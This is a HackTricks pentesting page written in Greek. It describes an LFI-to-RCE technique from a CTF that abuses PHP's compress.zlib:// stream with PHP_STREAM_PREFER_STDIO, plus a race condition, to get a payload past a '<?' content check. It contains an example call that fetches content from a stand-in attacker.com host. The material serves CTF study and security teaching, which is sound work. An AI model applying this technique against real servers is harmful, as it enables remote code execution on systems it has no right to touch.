hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

8.3 KiB
Raw Blame History

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}


compress.zlib:// και PHP_STREAM_PREFER_STDIO

Ένα αρχείο που ανοίγεται χρησιμοποιώντας το πρωτόκολλο compress.zlib:// με τη σημαία PHP_STREAM_PREFER_STDIO μπορεί να συνεχίσει να γράφει δεδομένα που φτάνουν στη σύνδεση αργότερα στο ίδιο αρχείο.

Αυτό σημαίνει ότι ένα κάλεσμα όπως:

file_get_contents("compress.zlib://http://attacker.com/file")

Θα στείλει ένα αίτημα ζητώντας το http://attacker.com/file, στη συνέχεια ο διακομιστής ενδέχεται να απαντήσει στο αίτημα με ένα έγκυρο HTTP αποτέλεσμα, να διατηρήσει τη σύνδεση ανοιχτή, και να στείλει επιπλέον δεδομένα αργότερα τα οποία θα γραφτούν επίσης στο αρχείο.

Μπορείτε να δείτε αυτές τις πληροφορίες σε αυτό το τμήμα του κώδικα php-src στο main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Αγώνας Συνθήκης προς RCE

Αυτό το CTF λύθηκε χρησιμοποιώντας το προηγούμενο κόλπο.

Ο επιτιθέμενος θα κάνει το server θύματος να ανοίξει μια σύνδεση διαβάζοντας ένα αρχείο από το server του επιτιθέμενου χρησιμοποιώντας το πρωτόκολλο compress.zlib.

Ενώ αυτή η σύνδεση υπάρχει, ο επιτιθέμενος θα εξαγάγει τη διαδρομή προς το προσωρινό αρχείο που δημιουργήθηκε (αυτό διαρρέεται από τον server).

Ενώ η σύνδεση είναι ακόμα ανοιχτή, ο επιτιθέμενος θα εκμεταλλευτεί μια LFI φορτώνοντας το προσωρινό αρχείο που ελέγχει.

Ωστόσο, υπάρχει έλεγχος στον web server που εμποδίζει τη φόρτωση αρχείων που περιέχουν <?. Επομένως, ο επιτιθέμενος θα εκμεταλλευτεί μια Συνθήκη Αγώνα. Στη σύνδεση που είναι ακόμα ανοιχτή, ο επιτιθέμενος θα στείλει το PHP payload ΜΕΤΑ το webserver να έχει ελέγξει αν το αρχείο περιέχει τους απαγορευμένους χαρακτήρες αλλά ΠΡΙΝ φορτώσει το περιεχόμενό του.

Για περισσότερες πληροφορίες ελέγξτε την περιγραφή της Συνθήκης Αγώνα και του CTF στο https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: